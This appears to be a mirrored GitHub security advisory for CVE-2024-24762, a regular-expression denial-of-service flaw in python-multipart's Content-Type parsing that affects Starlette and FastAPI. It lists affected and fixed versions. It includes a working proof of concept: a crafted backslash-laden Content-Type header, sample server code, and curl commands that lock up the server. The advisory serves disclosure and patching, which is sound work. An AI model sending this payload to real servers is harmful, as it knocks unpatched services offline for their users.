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Security Advisories: GSA_kwCzR0hTQS0yanY1LTlyODgtM3czcM4AA5N5

python-multipart vulnerable to Content-Type Header ReDoS

Summary

When using form data, python-multipart uses a Regular Expression to parse the HTTP Content-Type header, including options.

An attacker could send a custom-made Content-Type option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests.

This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

This only applies when the app uses form data, parsed with python-multipart.

Details

A regular HTTP Content-Type header could look like:

Content-Type: text/html; charset=utf-8

python-multipart parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74

A custom option could be made and sent to the server to break it with:

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

PoC

Create a simple WSGI application, that just parses the Content-Type, and run it with python main.py:

# main.py
from wsgiref.simple_server import make_server
from wsgiref.validate import validator

from multipart.multipart import parse_options_header


def simple_app(environ, start_response):
    _, _ = parse_options_header(environ["CONTENT_TYPE"])

    start_response("200 OK", [("Content-type", "text/plain")])
    return [b"Ok"]


httpd = make_server("", 8123, validator(simple_app))
print("Serving on port 8123...")
httpd.serve_forever()

Then send the attacking request with:

$ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/'

Impact

It's a ReDoS, (Regular expression Denial of Service), it only applies to those reading form data. This way it also affects other libraries using Starlette, like FastAPI.

Original Report

This was originally reported to FastAPI as an email to [email protected], sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r

Hey Tiangolo!

My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON).

Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code:

from typing import Annotated
from fastapi.responses import HTMLResponse
from fastapi import FastAPI,Form
from pydantic import BaseModel

class Item(BaseModel):
    username: str

app = FastAPI()

@app.get("/", response_class=HTMLResponse)
async def index():
    return HTMLResponse("Test", status_code=200)

@app.post("/submit/")
async def submit(username: Annotated[str, Form()]):
    return {"username": username}

@app.post("/submit_json/")
async def submit_json(item: Item):
    return {"username": item.username}

I'm running the above with uvicorn with the following command:

uvicorn server:app

Then run the following cUrl command:

curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/'

You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100%

You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server.

If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data.

Cheers

Impact

An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data.

Occurrences

params.py L586

Permalink: https://github.com/advisories/GHSA-2jv5-9r88-3w3p
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yanY1LTlyODgtM3czcM4AA5N5
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 5 months ago
Updated: 5 months ago


CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-2jv5-9r88-3w3p, CVE-2024-24762
References: Repository: https://github.com/Kludex/python-multipart
Blast Radius: 34.8

Affected Packages

pypi:starlette
Dependent packages: 709
Dependent repositories: 29,789
Downloads: 27,455,393 last month
Affected Version Ranges: <= 0.36.1
Fixed in: 0.36.2
All affected versions: 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.3.6, 0.3.7, 0.4.0, 0.4.1, 0.4.2, 0.5.0, 0.5.1, 0.5.2, 0.5.3, 0.5.4, 0.5.5, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.8.4, 0.8.5, 0.8.6, 0.8.7, 0.8.8, 0.9.0, 0.9.1, 0.9.2, 0.9.3, 0.9.4, 0.9.5, 0.9.6, 0.9.7, 0.9.8, 0.9.9, 0.9.10, 0.9.11, 0.10.0, 0.10.1, 0.10.2, 0.10.3, 0.10.4, 0.10.5, 0.10.6, 0.10.7, 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.11.4, 0.12.0, 0.12.1, 0.12.2, 0.12.3, 0.12.4, 0.12.5, 0.12.6, 0.12.7, 0.12.8, 0.12.9, 0.12.10, 0.12.11, 0.12.12, 0.12.13, 0.13.0, 0.13.1, 0.13.2, 0.13.3, 0.13.4, 0.13.5, 0.13.6, 0.13.7, 0.13.8, 0.14.0, 0.14.1, 0.14.2, 0.15.0, 0.16.0, 0.17.0, 0.17.1, 0.18.0, 0.19.0, 0.19.1, 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.20.4, 0.21.0, 0.22.0, 0.23.0, 0.23.1, 0.24.0, 0.25.0, 0.26.0, 0.26.1, 0.27.0, 0.28.0, 0.29.0, 0.30.0, 0.31.0, 0.31.1, 0.32.0, 0.33.0, 0.34.0, 0.35.0, 0.35.1, 0.36.0, 0.36.1
All unaffected versions: 0.36.2, 0.36.3, 0.37.0, 0.37.1, 0.37.2
pypi:fastapi
Dependent packages: 2,920
Dependent repositories: 43,608
Downloads: 34,003,650 last month
Affected Version Ranges: <= 0.109.0
Fixed in: 0.109.1
All affected versions: 0.1.0, 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19, 0.2.0, 0.2.1, 0.3.0, 0.4.0, 0.5.0, 0.5.1, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.7.0, 0.7.1, 0.8.0, 0.9.0, 0.9.1, 0.10.0, 0.10.1, 0.10.2, 0.11.0, 0.12.0, 0.12.1, 0.13.0, 0.14.0, 0.15.0, 0.16.0, 0.17.0, 0.18.0, 0.19.0, 0.20.0, 0.20.1, 0.21.0, 0.22.0, 0.23.0, 0.24.0, 0.25.0, 0.26.0, 0.27.0, 0.27.1, 0.27.2, 0.28.0, 0.29.0, 0.29.1, 0.30.0, 0.30.1, 0.31.0, 0.32.0, 0.33.0, 0.34.0, 0.35.0, 0.36.0, 0.37.0, 0.38.0, 0.38.1, 0.39.0, 0.40.0, 0.41.0, 0.42.0, 0.43.0, 0.44.0, 0.44.1, 0.45.0, 0.46.0, 0.47.0, 0.47.1, 0.48.0, 0.49.0, 0.49.1, 0.49.2, 0.50.0, 0.51.0, 0.52.0, 0.53.0, 0.53.1, 0.53.2, 0.54.0, 0.54.1, 0.54.2, 0.55.0, 0.55.1, 0.56.0, 0.56.1, 0.57.0, 0.58.0, 0.58.1, 0.59.0, 0.60.0, 0.60.1, 0.60.2, 0.61.0, 0.61.1, 0.61.2, 0.62.0, 0.63.0, 0.64.0, 0.65.0, 0.65.1, 0.65.2, 0.65.3, 0.66.0, 0.66.1, 0.67.0, 0.68.0, 0.68.1, 0.68.2, 0.69.0, 0.70.0, 0.70.1, 0.71.0, 0.72.0, 0.73.0, 0.74.0, 0.74.1, 0.75.0, 0.75.1, 0.75.2, 0.76.0, 0.77.0, 0.77.1, 0.78.0, 0.79.0, 0.79.1, 0.80.0, 0.81.0, 0.82.0, 0.83.0, 0.84.0, 0.85.0, 0.85.1, 0.85.2, 0.86.0, 0.87.0, 0.88.0, 0.89.0, 0.89.1, 0.90.0, 0.90.1, 0.91.0, 0.92.0, 0.93.0, 0.94.0, 0.94.1, 0.95.0, 0.95.1, 0.95.2, 0.96.0, 0.96.1, 0.97.0, 0.98.0, 0.99.0, 0.99.1, 0.100.0, 0.100.1, 0.101.0, 0.101.1, 0.102.0, 0.103.0, 0.103.1, 0.103.2, 0.104.0, 0.104.1, 0.105.0, 0.106.0, 0.107.0, 0.108.0, 0.109.0
All unaffected versions: 0.109.1, 0.109.2, 0.110.0, 0.110.1, 0.110.2, 0.110.3, 0.111.0
pypi:python-multipart
Dependent packages: 703
Dependent repositories: 12,240
Downloads: 17,474,369 last month
Affected Version Ranges: <= 0.0.6
Fixed in: 0.0.7
All affected versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6
All unaffected versions: 0.0.7, 0.0.8, 0.0.9